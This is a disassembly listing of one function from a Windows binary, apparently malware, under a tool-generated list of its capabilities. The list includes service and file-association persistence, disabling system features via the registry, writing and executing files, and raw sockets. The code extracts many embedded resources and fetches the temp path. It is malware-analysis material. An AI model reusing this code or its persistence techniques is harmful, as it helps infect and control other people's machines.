Function at 0x1314ec98
Capabilities:
Act as tcp client
Change the wallpaper
Check for unmoving mouse cursor
Check http status code
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create process on windows
Create raw socket
Create tcp socket
Create udp socket
Disable system features via registry on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Hide graphical window
Initialize winsock library
Manipulate cd-rom drive
Persist via default file association registry key
Persist via windows service
Power down monitor
Set registry value
Swap mouse buttons
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x8a
push 0
push 0
dec ecx
jne 0x1314eca0
push ebx
push esi
push edi
mov eax, 0x1314ec28
call fcn.13145634
xor eax, eax
push ebp
push 0x13156a33
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x131569d5
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x13156a4c
call fcn.13144738
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.1314c4a8
mov eax, dword [ebp - 0x14]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315be2c], eax
call fcn.1314e9e4
lea edx, [ebp - 0x20]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x20]
call fcn.131448ec
push eax
push 1
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be6c
lea eax, [ebp - 0x24]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x24]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x28]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x28]
call fcn.131448ec
push eax
push 2
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be70
lea eax, [ebp - 0x2c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x2c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x30]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x30]
call fcn.131448ec
push eax
push 3
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be74
lea eax, [ebp - 0x34]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x34]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x38]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x38]
call fcn.131448ec
push eax
push 4
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be78
lea eax, [ebp - 0x3c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x3c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x40]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x40]
call fcn.131448ec
push eax
push 5
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be7c
lea eax, [ebp - 0x44]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x44]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x48]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x48]
call fcn.131448ec
push eax
push 6
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be80
lea eax, [ebp - 0x4c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x4c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x50]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x50]
call fcn.131448ec
push eax
push 7
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be84
lea eax, [ebp - 0x54]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x54]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x58]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x58]
call fcn.131448ec
push eax
push 8
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be88
lea eax, [ebp - 0x5c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x5c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x60]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x60]
call fcn.131448ec
push eax
push 9
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be8c
lea eax, [ebp - 0x64]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x64]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x68]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x68]
call fcn.131448ec
push eax
push 0xa
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be90
lea eax, [ebp - 0x6c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x6c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x70]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x70]
call fcn.131448ec
push eax
push 0xb
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be94
lea eax, [ebp - 0x74]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x74]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x78]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x78]
call fcn.131448ec
push eax
push 0xc
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be98
lea eax, [ebp - 0x7c]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x7c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x88]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x84]
mov edx, 0x13156a4c
call fcn.13144738
mov eax, dword [ebp - 0x84]
lea edx, [ebp - 0x80]
call fcn.1314c4a8
mov eax, dword [ebp - 0x80]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315be2c], eax
call fcn.1314e9e4
lea edx, [ebp - 0x8c]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x8c]
call fcn.131448ec
push eax
push 0xd
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be9c
lea eax, [ebp - 0x90]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x90]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x94]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x94]
call fcn.131448ec
push eax
push 0xe
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bea0
lea eax, [ebp - 0x98]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x98]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x9c]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x9c]
call fcn.131448ec
push eax
push 0xf
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bea4
lea eax, [ebp - 0xa0]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xa0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xa4]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xa4]
call fcn.131448ec
push eax
push 0x10
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bea8
lea eax, [ebp - 0xa8]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xa8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xac]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xac]
call fcn.131448ec
push eax
push 0x11
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315beac
lea eax, [ebp - 0xb0]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xb0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xb4]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xb4]
call fcn.131448ec
push eax
push 0x12
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315beb0
lea eax, [ebp - 0xb8]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xb8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xbc]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xbc]
call fcn.131448ec
push eax
push 0x13
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315beb4
lea eax, [ebp - 0xc0]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xc0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xc4]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xc4]
call fcn.131448ec
push eax
push 0x14
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315beb8
lea eax, [ebp - 0xc8]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xc8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xcc]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xcc]
call fcn.131448ec
push eax
push 0x15
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bebc
lea eax, [ebp - 0xd0]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xd0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xd4]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xd4]
call fcn.131448ec
push eax
push 0x16
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bec0
lea eax, [ebp - 0xd8]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xd8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xdc]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xdc]
call fcn.131448ec
push eax
push 0x1a
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bed0
lea eax, [ebp - 0xe0]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xe0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xe4]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xe4]
call fcn.131448ec
push eax
push 0x1b
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bed4
lea eax, [ebp - 0xe8]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xe8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xec]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xec]
call fcn.131448ec
push eax
push 0x1c
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bed8
lea eax, [ebp - 0xf0]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xf0]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xf4]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xf4]
call fcn.131448ec
push eax
push 0x1d
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bedc
lea eax, [ebp - 0xf8]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0xf8]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0xfc]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0xfc]
call fcn.131448ec
push eax
push 0x1e
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bee0
lea eax, [ebp - 0x100]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x100]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x104]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x104]
call fcn.131448ec
push eax
push 0x20
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315bee8
lea eax, [ebp - 0x108]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x108]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
lea edx, [ebp - 0x10c]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x10c]
call fcn.131448ec
push eax
push 0x25
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315befc
lea eax, [ebp - 0x110]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x110]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
xor eax, eax
push ebp
push 0x1314fe18
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x114]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x114]
call fcn.131448ec
push eax
push 0x10
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e9e4
push 0x1315be18
lea eax, [ebp - 0x118]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x118]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e9e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314fe22
call fcn.1314e9e4
cmp dword [0x1315be74], 0
je 0x1314fe94
mov edx, dword [0x1315be74]
mov eax, 0x13156a7c
call fcn.131449d4
test eax, eax
jne 0x1314feaa
mov edx, dword [0x1315be74]
mov eax, 0x13156a88
call fcn.131449d4
test eax, eax
jne 0x1314feaa
mov edx, dword [0x1315be74]
mov eax, 0x13156a94
call fcn.131449d4
test eax, eax
jne 0x1314feaa
mov edx, dword [0x1315be74]
mov eax, 0x13156aa0
call fcn.131449d4
test eax, eax
jne 0x1314feaa
mov edx, dword [0x1315be74]
mov eax, 0x13156aac
call fcn.131449d4
test eax, eax
jne 0x1314feaa
mov eax, 0x1315be74
mov edx, 0x13156ab8
call fcn.131446f4
call fcn.1314e9e4
jmp 0x1314febf
mov eax, 0x1315be74
mov edx, dword [0x1315be74]
call fcn.131444c0
call fcn.1314e9e4
call fcn.1314e9e4
cmp dword [0x1315be78], 0
jne 0x1314fee3
mov eax, 0x1315be74
mov edx, 0x13156ac8
call fcn.131444c0
call fcn.1314e9e4
jmp 0x1314fef8
mov eax, 0x1315be74
mov edx, dword [0x1315be74]
call fcn.131444c0
call fcn.1314e9e4
call fcn.1314e9e4
mov eax, dword [0x1315beb8]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13150128
xor eax, eax
push ebp
push 0x13150119
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1315bce8
push 0x101
call sub.kernel32.dll_GetTempPathA
call fcn.1314e9e4
mov eax, 0x1315be20
mov edx, 0x1315bce8
mov ecx, 0x101
call fcn.131446c0
call fcn.1314e9e4
lea edx, [ebp - 0x124]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x124]
lea eax, [ebp - 0x120]
mov edx, 0x13156a4c
call fcn.13144738
mov eax, dword [ebp - 0x120]
lea edx, [ebp - 0x11c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x11c]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315be2c], eax
call fcn.1314e9e4
push 0x13156ae0
push 1
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e9e4
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e9e4
push esi
call sub.kernel32.dll_LockResource
